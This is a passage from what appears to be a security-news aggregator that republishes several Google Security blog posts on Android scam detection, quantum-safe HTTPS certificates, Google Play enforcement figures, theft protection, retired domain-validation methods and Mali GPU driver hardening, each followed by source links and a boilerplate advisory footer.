The turning point came when his phone displayed a Scam Detection warning during the call, which provided a critical moment to pause and reflect. Majik hung up, checked his bank app directly, and confirmed there was no fraudulent charge. For Majik, Scam Detection was the intervention he needed: “The warning is what made me pause and avoid a bad situation”.

While stories like Majik’s show how our existing protections provide a robust shield against scams, our work isn't done. As scammers evolve their tactics and create more convincing and personalized threats, we’re using the best of Google AI to stay one step ahead. 

A recent evaluation by Counterpoint Research found that Android smartphones provide the most comprehensive AI-powered protections of any mobile platform. We are committed to building on this foundation by expanding our AI-powered protections to more users and devices, while rolling out new features that utilize on-device AI to defend against increasingly sophisticated threats.

 Expanding Scam Detection for Calls to Samsung Devices

To help protect you during phone calls, Scam Detection alerts you if a caller uses speech patterns commonly associated with fraud. We are bringing these protections to more of our users through new regional expansion and availability on new devices. Scam Detection for phone calls on Google Pixel devices is available in the US, UK, Australia, Canada, France, Germany, India, Ireland, Italy, Japan, Mexico, and Spain. 

Scam Detection is already helping millions of users to stay safe from scammers, and we are expanding this feature to more manufacturers, starting with the Samsung Galaxy S26 series in the U.S. We are continuing to work with our partners to bring these industry-leading protections to even more users. 

Powered by Gemini’s on-device model, Scam Detection provides intelligent protection against scam calls while ensuring that the processing stays on your device. This keeps your conversations private while delivering warnings in real-time. To preserve your privacy, the phone conversation processed by Scam Detection is neither stored on your device, nor shared outside of the device. To ensure you stay in total control of your experience, Scam Detection is turned off by default. When enabled, the feature only applies to calls identified as potential scams and is never used in calls with your contacts. You can easily manage these preferences in your phone settings whenever you choose. 

 Enhanced Protection Against Messaging Scams

We want everyone to feel secure when they open their messages, no matter where they are or what language they speak. To make this possible, we’ve now expanded Scam Detection for Google Messages to more than 20 countries. This includes support for several languages including English, Arabic, French, German, Portuguese, and Spanish.

Beyond reaching more people, we are also making our protections more intelligent. We are enhancing how Google Messages identifies fraudulent texts by utilizing our Gemini on-device model on the latest Android flagship devices in the US, Canada, and the UK. The added power of Gemini’s on-device model allows for a much more nuanced analysis of complex conversational threats. 

For example, it can better detect the subtle conversational patterns used in job offer scams or sophisticated romance baiting scams (also known as “pig butchering”), a deceptive tactic where a scammer builds a long-term "relationship" with a potential victim to gain their trust, before tricking them into a fraudulent investment. Because these methods rely on gradual manipulation and don’t present typical warning signs, they need more advanced capabilities to catch them at scale. These advanced protections are now rolling out on Google Pixel 10 series and other select devices, and will be available on the Samsung Galaxy S26 series. 

 Gemini - powered Scam Detection alerts a user to a job offer scam 

 Using the Best of Google AI to Set the Standard in Mobile Scam Protection

Android continues to set the standard in mobile scam protections by leveraging advanced AI to identify and intercept threats as they happen. As scammer’s strategies shift, we remain committed to developing equally adaptive and intelligent defenses. Our goal is to provide you with peace of mind so you can continue to connect and communicate with confidence, knowing our multi-layered defenses are there to help protect your financial and personal data against mobile scams.

Disclaimers

1: This total comprises all instances where a message or call was proactively blocked or where a user was alerted to potential spam or scam activity.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cultivating a robust and efficient quantum-safe HTTPS
https://kevwire.com/record/google-security-cultivating-robust-and-efficient-1cd304d813bc
Cultivating a robust and efficient quantum-safe HTTPS (Feb 27, 2026).
Posted by Chrome Secure Web and Networking Team 

Today we're announcing a new program in Chrome to make HTTPS certificates secure against quantum computers. The Internet Engineering Task Force (IETF) recently created a working group, PKI, Logs, And Tree Signatures (“PLANTS”), aiming to address the performance and bandwidth challenges that the increased size of quantum-resistant cryptography introduces into TLS connections requiring Certificate Transparency (CT). We recently shared our call to action to secure quantum computing and have written about challenges introduced by quantum-resistant cryptography and some of the steps we’ve taken to address them in earlier blog posts .

To ensure the scalability and efficiency of the ecosystem, Chrome has no immediate plan to add traditional X.509 certificates containing post-quantum cryptography to the Chrome Root Store . Instead, Chrome, in collaboration with other partners, is developing an evolution of HTTPS certificates based on Merkle Tree Certificates (MTCs), currently in development in the PLANTS working group. MTCs replace the heavy, serialized chain of signatures found in traditional PKI with compact Merkle Tree proofs . In this model, a Certification Authority (CA) signs a single "Tree Head" representing potentially millions of certificates, and the "certificate" sent to the browser is merely a lightweight proof of inclusion in that tree.

 Why MTCs?

MTCs enable the adoption of robust post-quantum algorithms without incurring the massive bandwidth penalty of classical X.509 certificate chains. They also decouple the security strength of the corresponding cryptographic algorithm from the size of the data transmitted to the user. By shrinking the authentication data in a TLS handshake to the absolute minimum, MTCs aim to keep the post-quantum web as fast and seamless as today’s internet, maintaining high performance even as we adopt stronger security. Finally, with MTCs, transparency is a fundamental property of i
Sources:
Google Security Research: Cultivating a robust and efficient quantum-safe HTTPS: https://security.googleblog.com/2026/02/cultivating-robust-and-efficient.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Chrome Secure Web and Networking Team 

Today we're announcing a new program in Chrome to make HTTPS certificates secure against quantum computers. The Internet Engineering Task Force (IETF) recently created a working group, PKI, Logs, And Tree Signatures (“PLANTS”), aiming to address the performance and bandwidth challenges that the increased size of quantum-resistant cryptography introduces into TLS connections requiring Certificate Transparency (CT). We recently shared our call to action to secure quantum computing and have written about challenges introduced by quantum-resistant cryptography and some of the steps we’ve taken to address them in earlier blog posts .

To ensure the scalability and efficiency of the ecosystem, Chrome has no immediate plan to add traditional X.509 certificates containing post-quantum cryptography to the Chrome Root Store . Instead, Chrome, in collaboration with other partners, is developing an evolution of HTTPS certificates based on Merkle Tree Certificates (MTCs), currently in development in the PLANTS working group. MTCs replace the heavy, serialized chain of signatures found in traditional PKI with compact Merkle Tree proofs . In this model, a Certification Authority (CA) signs a single "Tree Head" representing potentially millions of certificates, and the "certificate" sent to the browser is merely a lightweight proof of inclusion in that tree.

 Why MTCs?

MTCs enable the adoption of robust post-quantum algorithms without incurring the massive bandwidth penalty of classical X.509 certificate chains. They also decouple the security strength of the corresponding cryptographic algorithm from the size of the data transmitted to the user. By shrinking the authentication data in a TLS handshake to the absolute minimum, MTCs aim to keep the post-quantum web as fast and seamless as today’s internet, maintaining high performance even as we adopt stronger security. Finally, with MTCs, transparency is a fundamental property of issuance: it is impossible to issue a certificate without including it in a public tree. This means the security properties of today’s CT ecosystem are included by default, and without adding extra overhead to the TLS handshake as CT does today.

 Chrome’s MTC Propagation Plan

Chrome is already experimenting with MTCs with real internet traffic, and we intend to gradually build out our deployment such that MTCs provide a robust quantum-resistant HTTPS available for use throughout the internet.

Broadly speaking, our rollout spans three distinct phases.

 Phase 1 (UNDERWAY): In collaboration with Cloudflare, we are conducting a feasibility study to evaluate the performance and security of TLS connections relying on MTCs. To ensure a seamless and secure experience for Chrome users who might encounter an MTC, every MTC-based connection is backed by a traditional, trusted X.509 certificate during this experiment. This "fail safe" allows us to measure real-world performance gains and verify the reliability of MTC issuance without risking the security or stability of the user's connection.

 Phase 2 (Q1 2027): Once the core technology is validated, we intend to invite CT Log operators with at least one “ usable ” log in Chrome before February 1, 2026 to participate in the initial bootstrapping of public MTCs. These organizations have already demonstrated the operational excellence and high-availability infrastructure required to run global security services that underpin TLS connections in Chrome. Since MTC technology shares significant architectural similarities with CT, these operators are uniquely qualified to ensure MTCs are able to get off the ground quickly and successfully.

 Phase 3 (Q3 2027): Early in Phase 2, we will finalize the requirements for onboarding additional CAs into the new Chrome Quantum-resistant Root Store (CQRS) and corresponding Root Program that only supports MTCs. This will establish a modern, purpose-built trust store specifically designed for the requirements of a post-quantum web. The Chrome Quantum-resistant Root Program will operate alongside our existing Chrome Root Program to ensure a risk-managed transition that maintains the highest levels of security for all users. This phase will also introduce the ability for sites to opt in to downgrade protections, ensuring that sites that only wish to use quantum-resistant certificates can do so.

This area is evolving rapidly. As these phases progress, we will continue our active participation in standards bodies such as the IETF and C2SP , ensuring that insights gathered from our efforts flow back towards standards, and that changes in standards are supported by Chrome and the CQRS.

 Cultivating new practices and policy for a more secure and reliable web

We view the adoption of MTCs and a quantum-resistant root store as a critical opportunity to ensure the robustness of the foundation of today’s ecosystem. By designing for the specific demands of a modern, agile, internet, we can accelerate the adoption of post-quantum resilience for all web users. 

We expect this modern foundation for TLS to evolve beyond current ecosystem norms and emphasize themes of security, simplicity, predictability, transparency and resilience. These properties might be expressed by: 

 Grounding our approach in first principles, prioritizing only elements essential for establishing a secure connection between a server and a client.

 Utilizing ACME -only workflows to reduce complexity and ensure the cryptographic agility required to respond to future threats across the entire ecosystem.

 Upgrading to a modern framework for communicating revocation status. This allows for the replacement of legacy CRLs and streamlined requirements to focus only on key compromise events. 

 Exploring “reproducible” Domain Control Validation to create a model where proofs of domain control are publicly and persistently available, empowering any party to independently verify the legitimacy of a validation (i.e., serve as a “DCV Monitor”).

 Enhancing the CA inclusion model to prioritize proven operational excellence. By establishing a pathway where prospective MTC CA Owners can first demonstrate their reliability as Mirroring Cosigners and DCV Monitors, we ensure that acceptance is based on verified performance and a reliable track record. 

 Evolving the third-party oversight model to prioritize complete, continuous, and externally verifiable monitoring. This shift would focus on ensuring a high standard of transparency and consistency, providing immediate and reliable insights into performance that can replace the function of annual third-party audits.

To secure the future of the web, we are dedicating our operational resources to two vital parallel tracks. First, we remain fully committed to supporting our current CA partners in the Chrome Root Store, facilitating root rotations to ensure existing non-quantum-resistant hierarchies remain robust and conformant with the Chrome Root Program Policy. Simultaneously, we are focused on building a secure future by developing and launching the infrastructure required to support MTCs and their default use in Chrome. We also expect to support “traditional” X.509 certificates with quantum-resistant algorithms for use only in private PKIs (i.e., those not included in the Chrome Root Store) later this year.

As we execute and refine our work on MTCs, we look forward to sharing a concrete policy framework for a quantum-resistant root store with the community, and are excited to learn and define clear pathways for organizations to operate as Chrome-trusted MTC CAs.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Keeping Google Play & Android app ecosystems safe in 2025
https://kevwire.com/record/google-security-keeping-google-play-android-app-ecosystem-safe-2025-97a06bbff97c
Keeping Google Play & Android app ecosystems safe in 2025 (Feb 19, 2026).
Posted by Vijaya Kaza, VP and GM, App & Ecosystem Trust 

The Android ecosystem is a thriving global community built on trust, giving billions of users the confidence to download the latest apps. In order to maintain that trust, we’re focused on ensuring that apps do not cause real-world harm, such as malware, financial fraud, hidden subscriptions, and privacy invasions. As bad actors leverage AI to change their tactics and launch increasingly sophisticated attacks, we’ve deepened our investments in AI and real-time defenses over the last year to maintain the upper hand and stop these threats before they reach users.

 Upgrading Google Play’s AI-powered, multi-layered user protections

We’ve seen a clear impact from these safety efforts on Google Play. In 2025, we prevented over 1.75 million policy-violating apps from being published on Google Play and banned more than 80,000 bad developer accounts that attempted to publish harmful apps. These figures demonstrate how our proactive protections and push for a more accountable ecosystem are discouraging bad actors from publishing malicious apps, while our new tools help honest developers build compliant apps more easily. Initiatives like developer verification, mandatory pre-review checks, and testing requirements have raised the bar for the Google Play ecosystem, significantly reducing the paths for bad actors to enter.

User safety is at the core of everything we build. Over the years, we’ve continually introduced ways to help users stay safe and make informed app choices — from parental controls to data safety transparency and app badges . We’re constantly improving our policies and protections to encourage safe, high-quality apps on Google Play and stop bad actors before they cause harm.

Apps on Google Play undergo rigorous reviews for safety and compliance with our policies. Last year, we shared that Google Play runs over 10,000 safety checks on every app we publish, and we continue to check and recheck apps afte
Sources:
Google Security Research: Keeping Google Play & Android app ecosystems safe in 2025: https://security.googleblog.com/2026/02/keeping-google-play-android-app-ecosystem-safe-2025.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Vijaya Kaza, VP and GM, App & Ecosystem Trust 

The Android ecosystem is a thriving global community built on trust, giving billions of users the confidence to download the latest apps. In order to maintain that trust, we’re focused on ensuring that apps do not cause real-world harm, such as malware, financial fraud, hidden subscriptions, and privacy invasions. As bad actors leverage AI to change their tactics and launch increasingly sophisticated attacks, we’ve deepened our investments in AI and real-time defenses over the last year to maintain the upper hand and stop these threats before they reach users.

 Upgrading Google Play’s AI-powered, multi-layered user protections

We’ve seen a clear impact from these safety efforts on Google Play. In 2025, we prevented over 1.75 million policy-violating apps from being published on Google Play and banned more than 80,000 bad developer accounts that attempted to publish harmful apps. These figures demonstrate how our proactive protections and push for a more accountable ecosystem are discouraging bad actors from publishing malicious apps, while our new tools help honest developers build compliant apps more easily. Initiatives like developer verification, mandatory pre-review checks, and testing requirements have raised the bar for the Google Play ecosystem, significantly reducing the paths for bad actors to enter.

User safety is at the core of everything we build. Over the years, we’ve continually introduced ways to help users stay safe and make informed app choices — from parental controls to data safety transparency and app badges . We’re constantly improving our policies and protections to encourage safe, high-quality apps on Google Play and stop bad actors before they cause harm.

Apps on Google Play undergo rigorous reviews for safety and compliance with our policies. Last year, we shared that Google Play runs over 10,000 safety checks on every app we publish, and we continue to check and recheck apps after they’ve been published. In 2025, we continued scaling our defenses even further by:

 Boosting AI-enhanced app detection : We integrated Google’s latest generative AI models into our review process, helping our human review team continue to find complex malicious patterns faster.

 Preventing unnecessary access to sensitive data: We prevented over 255,000 apps from getting excessive access to sensitive user data and continued to strengthen our privacy policies. Our commitment to privacy-forward app development, supported by tools like Play Policy Insights in Android Studio and Data safety section , has empowered developers to continue to: minimize privacy-sensitive permission requests, and prioritize the user in their design choices.

 Blocking spam ratings and reviews: Whether they lead to review inflation or deflation, spam ratings and reviews can negatively impact our users’ trust and our developers’ growth. We’re continually evolving our detection models to help ensure app reviews are accurate. Our anti-spam protections blocked 160 million spam ratings and reviews last year, including inflated and deflated reviews. We also prevented an average 0.5-star rating drop for apps targeted by review bombing, protecting our users and developers from unhelpful reviews.

 Safeguarding kids and families : Our approach to kids and families is built on the core belief that children deserve a safe, enriching digital environment. Our commitment is to empower parents with robust tools while providing children with access to high-quality, age-appropriate content. Last year, we announced new layers of protection , in addition to our existing safeguards , to prevent younger audiences from discovering or downloading apps involving activities like gambling or dating. 

 Enhancing Google Play Protect to help keep the entire Android ecosystem safe

We also continued to improve our protections for the broader Android ecosystem, by expanding Google Play Protect and real-time security measures like in-call scam protections to help keep users safe from scams, fraud, and other threats.

As Android’s built-in defense against malware and unwanted software, Google Play Protect now scans over 350 billion Android apps daily. This proactive protection constantly checks both Play apps and those from other sources to ensure they are not potentially harmful. And, last year, its real-time scanning capability identified more than 27 million new malicious apps from outside Google Play, warning users or blocking the app to neutralize the threat. To benefit from these protections, we recommend that users always keep Google Play Protect on. 

While fraudsters are constantly evolving their tactics, Google Play Protect is evolving faster. Last year, we expanded:

 Enhanced fraud protection: Google Play Protect’s enhanced fraud protection analyzes and automatically blocks the installation of apps that may abuse sensitive permissions to commit financial fraud. This protection is triggered when a user attempts to install an app from an "Internet-sideloading source" — such as a web browser or messaging app — that requests a sensitive permission. Building on the success of our initial pilot in Singapore, we expanded enhanced fraud protection to 185 markets , now covering more than 2.8 billion Android devices . In 2025, we blocked 266 million risky installation attempts and helped protect users from 872,000 unique, high-risk applications. 

 In-call scam protection: We also introduced new protections to combat social engineering attacks during phone calls. This feature preemptively disables the ability to turn off Google Play Protect during phone calls, stopping bad actors from being able to trick users into disabling their device's built-in defenses to download a malicious app while on a call.

 Partnering with developers for a more secure, privacy-friendly future

Keeping Android and Google Play safe requires deep collaboration. We want to thank our global developer community for their partnership and for sharing their feedback on the tools and support they need to succeed.

 In 2025, we focused on reducing friction for developers and providing them with tools to safeguard their businesses:

 Building safer apps more easily : We’re helping developers streamline their work by bringing insights directly into their natural workflows. It starts with Play Policy Insights in Android Studio , which gives developers real-time feedback as they code. We focused first on permissions and APIs that grant deeper system access or handle personal data, like location or photos. This gives developers a head start on policy requirements, including prominent disclosures or usage declarations, while they’re still building. When developers move to Play Console to prepare their apps for submission, our expanded pre-review checks help catch common reasons for rejection, like improper usage of credentials or permissions and broken privacy policy links, ensuring smoother, faster reviews.

 Stronger threat detection with Play Integrity API : Every day, apps and games make over 20 billion checks with Play Integrity API to protect against abuse and unauthorized access. In 2025, we added hardware-backed signals to make it even harder for bad actors to spoof devices and introduced new in-app prompts that let users fix common issues like network errors without leaving the app. We also launched device recall in beta to help developers identify repeat bad actors even after a device has been reset, all while protecting user privacy.

 Building trust through developer verification: We’ve seen how effective developer verification is on Google Play, and now we’re applying those lessons to the broader Android ecosystem. By ensuring there is a real, accountable identity behind every app, verification helps legitimize authentic developers and prevents bad actors from hiding behind anonymity to repeatedly cause harm. After gathering feedback during our early access period
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### New Android Theft Protection Feature Updates: Smarter, Stronger
https://kevwire.com/record/google-security-android-theft-protection-feature-updates-5b74faae6fcf
New Android Theft Protection Feature Updates: Smarter, Stronger (Jan 27, 2026).
Posted by Nataliya Stanetsky, Fabricio Ferracioli, Elliot Sisteron, Irene Ang of the Android Security Team 

Phone theft is more than just losing a device; it's a form of financial fraud that can leave you suddenly vulnerable to personal data and financial theft. That’s why we're committed to providing multi-layered defenses that help protect you before, during, and after a theft attempt.

Today, we're announcing a powerful set of theft protection feature updates that build on our existing protections , designed to give you greater peace of mind by making your device a much harder target for criminals.

 Stronger Authentication Safeguards

We've expanded our security to protect you against an even wider range of threats. These updates are now available for Android devices running Android 16+.

 More User Control for Failed Authentications: In Android 15, we launched Failed Authentication Lock, a feature that automatically locks the device's screen after excessive failed authentication attempts. This feature is now getting a new dedicated enable/disable toggle in settings, giving you more granular control over your device's security.

 Expanding Identity Check to cover more: Early in 2025 , we enabled Identity Check for Android 15+, which requires the user to utilize biometrics when performing certain actions outside of trusted places. Later in the year, we extended this safeguard to cover all features and apps that use the Android Biometric Prompt. This means that critical tools that utilize Biometric Prompt, like third-party banking apps and Google Password Manager, now automatically benefit from the additional security of Identity Check.

 Stronger Protection Against Screen Lock Guessing: We’re making it much harder for a thief to guess your PIN, pattern, or password by increasing the lockout time after failed attempts. To ensure you aren’t locked out by mistake ( by a curious child , for instance), identical incorrect guesses no longer count toward your retry lim
Sources:
Google Security Research: New Android Theft Protection Feature Updates: Smarter, Stronger: https://security.googleblog.com/2026/01/android-theft-protection-feature-updates.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Nataliya Stanetsky, Fabricio Ferracioli, Elliot Sisteron, Irene Ang of the Android Security Team 

Phone theft is more than just losing a device; it's a form of financial fraud that can leave you suddenly vulnerable to personal data and financial theft. That’s why we're committed to providing multi-layered defenses that help protect you before, during, and after a theft attempt.

Today, we're announcing a powerful set of theft protection feature updates that build on our existing protections , designed to give you greater peace of mind by making your device a much harder target for criminals.

 Stronger Authentication Safeguards

We've expanded our security to protect you against an even wider range of threats. These updates are now available for Android devices running Android 16+.

 More User Control for Failed Authentications: In Android 15, we launched Failed Authentication Lock, a feature that automatically locks the device's screen after excessive failed authentication attempts. This feature is now getting a new dedicated enable/disable toggle in settings, giving you more granular control over your device's security.

 Expanding Identity Check to cover more: Early in 2025 , we enabled Identity Check for Android 15+, which requires the user to utilize biometrics when performing certain actions outside of trusted places. Later in the year, we extended this safeguard to cover all features and apps that use the Android Biometric Prompt. This means that critical tools that utilize Biometric Prompt, like third-party banking apps and Google Password Manager, now automatically benefit from the additional security of Identity Check.

 Stronger Protection Against Screen Lock Guessing: We’re making it much harder for a thief to guess your PIN, pattern, or password by increasing the lockout time after failed attempts. To ensure you aren’t locked out by mistake ( by a curious child , for instance), identical incorrect guesses no longer count toward your retry limit. 

 Enhanced Recovery Tools

We're also enhancing our recovery tools to make them even more helpful. This update is now available for Android devices running Android 10+.

 More Control for Remote Lock. Remote Lock ( android.com/lock ) is a crucial tool that lets you lock your lost or stolen device from any web browser. We are adding a new optional security question/challenge to the process. This helps ensure that only you, the real device owner, can initiate a lock, adding another layer of security to your recovery flow.

 Proactive Protection: "Default-On" in Brazil

Keeping our users safe is a top priority, which is why we're working to make theft protection available out-of-the-box for more Android users. For new Android devices activated in Brazil, two of our key theft protection features are now enabled by default:

 Theft Detection Lock: Uses on-device AI to sense motion and context that may indicate a "snatch-and-run" theft. If a theft attempt is detected, it will quickly lock the device screen to help protect your data.

 Remote Lock: Allows users to lock their device from any device that provides a web access to android.com/lock without the need to have enabled the feature in advance.

This helps ensure new devices have a critical layer of theft protection from day one.

 Continuing To innovate in Device Theft Protection

We’re always evolving our protections to stay one step ahead of thieves. Our ongoing updates help ensure that no matter where you go, you can have greater peace of mind knowing your device and data are protected by Android’s multi-layered defenses. Keep a lookout for even more Android theft protection updates.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### HTTPS certificate industry phasing out less secure domain validation methods
https://kevwire.com/record/google-security-https-certificate-industry-phasing-out-c06fe74ff2a8
HTTPS certificate industry phasing out less secure domain validation methods (Dec 10, 2025).
Posted by Chrome Root Program Team 

Secure connections are the backbone of the modern web, but a certificate is only as trustworthy as the validation process and issuance practices behind it. Recently, the Chrome Root Program and the CA/Browser Forum have taken decisive steps toward a more secure internet by adopting new security requirements for HTTPS certificate issuers.

These initiatives, driven by Ballots SC-080 , SC-090 , and SC-091 , will sunset 11 legacy methods for Domain Control Validation. By retiring these outdated practices, which rely on weaker verification signals like physical mail, phone calls, or emails, we are closing potential loopholes for attackers and pushing the ecosystem toward automated, cryptographically verifiable security.

To allow affected website operators to transition smoothly, the deprecation will be phased in, with its full security value realized by March 2028.

This effort is a key part of our public roadmap, “ Moving Forward, Together, ” launched in 2022. Our vision is to improve security by modernizing infrastructure and promoting agility through automation. While "Moving Forward, Together" sets the aspirational direction, the recent updates to the TLS Baseline Requirements turn that vision into policy. This builds on our momentum from earlier this year, including the successful advocacy for the adoption of other security enhancing initiatives as industry-wide standards.

 What’s Domain Control Validation? 

Domain Control Validation is a security-critical process designed to ensure certificates are only issued to the legitimate domain operator. This prevents unauthorized entities from obtaining a certificate for a domain they do not control. Without this check, an attacker could obtain a valid certificate for a legitimate website and use it to impersonate that site or intercept web traffic.

Before issuing a certificate, a Certification Authority (CA) must verify that the requestor legitimately controls the domain. Most mode
Sources:
Google Security Research: HTTPS certificate industry phasing out less secure domain validation methods: https://security.googleblog.com/2025/12/https-certificate-industry-phasing-out.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Chrome Root Program Team 

Secure connections are the backbone of the modern web, but a certificate is only as trustworthy as the validation process and issuance practices behind it. Recently, the Chrome Root Program and the CA/Browser Forum have taken decisive steps toward a more secure internet by adopting new security requirements for HTTPS certificate issuers.

These initiatives, driven by Ballots SC-080 , SC-090 , and SC-091 , will sunset 11 legacy methods for Domain Control Validation. By retiring these outdated practices, which rely on weaker verification signals like physical mail, phone calls, or emails, we are closing potential loopholes for attackers and pushing the ecosystem toward automated, cryptographically verifiable security.

To allow affected website operators to transition smoothly, the deprecation will be phased in, with its full security value realized by March 2028.

This effort is a key part of our public roadmap, “ Moving Forward, Together, ” launched in 2022. Our vision is to improve security by modernizing infrastructure and promoting agility through automation. While "Moving Forward, Together" sets the aspirational direction, the recent updates to the TLS Baseline Requirements turn that vision into policy. This builds on our momentum from earlier this year, including the successful advocacy for the adoption of other security enhancing initiatives as industry-wide standards.

 What’s Domain Control Validation? 

Domain Control Validation is a security-critical process designed to ensure certificates are only issued to the legitimate domain operator. This prevents unauthorized entities from obtaining a certificate for a domain they do not control. Without this check, an attacker could obtain a valid certificate for a legitimate website and use it to impersonate that site or intercept web traffic.

Before issuing a certificate, a Certification Authority (CA) must verify that the requestor legitimately controls the domain. Most modern validation relies on “challenge-response” mechanisms, for example, a CA might provide a random value for the requestor to place in a specific location, like a DNS TXT record, which the CA then verifies. 

Historically, other methods validated control through indirect means, such as looking up contact information in WHOIS records or sending an email to a domain contact. These methods have been proven vulnerable ( example ) and the recent efforts retire these weaker checks in favor of robust, automated alternatives. 

 Raising the floor of security 

The recently passed CA/Browser Forum Server Certificate Working Group Ballots introduce a phased sunset of the following Domain Control Validation methods. Alternative existing methods offer stronger security assurances against attackers trying to obtain fraudulent certificates – and the alternative methods are getting stronger over time, too.

Sunsetted methods relying on email:

 Email, Fax, SMS, or Postal Mail to Domain Contact 

 Email, Fax, SMS, or Postal Mail to IP Address Contact 

 Constructed Email to Domain Contact 

 Email to DNS CAA Contact 

 Email to DNS TXT Contact 

Sunsetted methods relying on phone: 

 Phone Contact with Domain Contact 

 Phone Contact with DNS TXT Record Phone Contact 

 Phone Contact with DNS CAA Phone Contact 

 Phone Contact with IP Address Contact 

Sunsetted method relying on a reverse lookup:

 IP Address 

 Reverse Address Lookup 

For everyday users, these changes are invisible - and that’s the point. But, behind the scenes, they make it harder for attackers to trick a CA into issuing a certificate for a domain they don’t control. This reduces the risk that stale or indirect signals, (like outdated WHOIS data, complex phone and email ecosystems, or inherited infrastructure) can be abused. These changes push the ecosystem toward standardized (e.g., ACME ), modern, and auditable Domain Control Validation methods. They increase agility and resilience by encouraging site owners to transition to modern Domain Control Validation methods, creating opportunities for faster and more efficient certificate lifecycle management through automation .

These initiatives remove weak links in how trust is established on the internet. That leads to a safer browsing experience for everyone , not just users of a single browser, platform, or website.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Further Hardening Android GPUs
https://kevwire.com/record/google-security-further-hardening-android-gpus-92a9f4efab9e
Further Hardening Android GPUs (Dec 9, 2025).
Posted by Liz Prucka, Hamzeh Zawawy, Rishika Hooda, Android Security and Privacy Team 

Last year, Google's Android Red Team partnered with Arm to conduct an in-depth security analysis of the Mali GPU, a component used in billions of Android devices worldwide. This collaboration was a significant step in proactively identifying and fixing vulnerabilities in the GPU software and firmware stack. 

While finding and fixing individual bugs is crucial, and progress continues on eliminating them entirely , making them unreachable by restricting attack surface is another effective and often faster way to improve security. This post details our efforts in partnership with Arm to further harden the GPU by reducing the driver's attack surface. 

 The Growing Threat: Why GPU Security Matters 

 The Graphics Processing Unit (GPU) has become a critical and attractive target for attackers due to its complexity and privileged access to the system. The scale of this threat is significant: since 2021, the majority of Android kernel driver-based exploits have targeted the GPU. These exploits primarily target the interface between the User-Mode Driver (UMD) and the highly privileged Kernel-Mode Driver (KMD), where flaws can be exploited by malicious input to trigger memory corruption.

 Partnership with Arm 

Our goal is to raise the bar on GPU security, ensuring the Mali GPU driver and firmware remain highly resilient against potential threats. We partnered with Arm to conduct an analysis of the Mali driver, used on approximately 45% of Android devices. This collaboration was crucial for understanding the driver’s attack surface and identifying areas that posed a security risk, but were not necessary for production use.

 The Right Tool for the Job: Hardening with SELinux 

One of the key findings of our investigation was the opportunity to restrict access to certain GPU IOCTLs. IOCTLs act as the GPU kernel driver’s user input and output, as well as the attack surface. This approach
Sources:
Google Security Research: Further Hardening Android GPUs: https://security.googleblog.com/2025/12/further-hardening-android-gpus.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Liz Prucka, Hamzeh Zawawy, Rishika Hooda, Android Security and Privacy Team 

Last year, Google's Android Red Team partnered with Arm to conduct an in-depth security analysis of the Mali GPU, a component used in billions of Android devices worldwide. This collaboration was a significant step in proactively identifying and fixing vulnerabilities in the GPU software and firmware stack. 

While finding and fixing individual bugs is crucial, and progress continues on eliminating them entirely , making them unreachable by restricting attack surface is another effective and often faster way to improve security. This post details our efforts in partnership with Arm to further harden the GPU by reducing the driver's attack surface. 

 The Growing Threat: Why GPU Security Matters 

 The Graphics Processing Unit (GPU) has become a critical and attractive target for attackers due to its complexity and privileged access to the system. The scale of this threat is significant: since 2021, the majority of Android kernel driver-based exploits have targeted the GPU. These exploits primarily target the interface between the User-Mode Driver (UMD) and the highly privileged Kernel-Mode Driver (KMD), where flaws can be exploited by malicious input to trigger memory corruption.

 Partnership with Arm 

Our goal is to raise the bar on GPU security, ensuring the Mali GPU driver and firmware remain highly resilient against potential threats. We partnered with Arm to conduct an analysis of the Mali driver, used on approximately 45% of Android devices. This collaboration was crucial for understanding the driver’s attack surface and identifying areas that posed a security risk, but were not necessary for production use.

 The Right Tool for the Job: Hardening with SELinux 

One of the key findings of our investigation was the opportunity to restrict access to certain GPU IOCTLs. IOCTLs act as the GPU kernel driver’s user input and output, as well as the attack surface. This approach builds on earlier kernel hardening efforts, such as those described in the 2016 post Protecting Android with More Linux Security . Mali ioctls can be broadly categorized as:

 Unprivileged: Necessary for normal operation.

 Instrumentation: Used by developers for profiling and debugging.

 Restricted: Should not be used by applications in production. This includes IOCTLs which are intended only for GPU development, as well as IOCTLs which have been deprecated and are no longer used by a device’s current User-Mode Driver (UMD) version.

Our goal is to block access to deprecated and debug IOCTLs in production. Instrumentation IOCTLs are intended for use by profiling tools to monitor system GPU performance and are not intended to be directly used by applications in production. As such, access is restricted to shell or applications marked as debuggable . Production IOCTLs remain accessible to regular applications.

 A Staged Rollout 

The approach is iterative and is a staged rollout for devices using the Mali GPU. This way, we were able to carefully monitor real-world usage and collect data to validate the policy, minimizing the risk of breaking legitimate applications before moving to broader adoption:

 Opt-In Policy: We started with an "opt-in" policy. We created a new SELinux attribute, gpu_harden , that disallowed instrumentation ioctls. We then selectively applied this attribute to certain system apps to test the impact. We used the allowxperm rule to audit, but not deny, access to the intended resource, and monitored the denial logs to ensure no breakage.

 Opt-Out Policy: Once we were confident that our approach was sound, we moved to an "opt-out" policy. We created a gpu_debug domain that would allow access to instrumentation ioctls. All applications were hardened by default, but developers could opt-out by:

 Running on a rooted device.

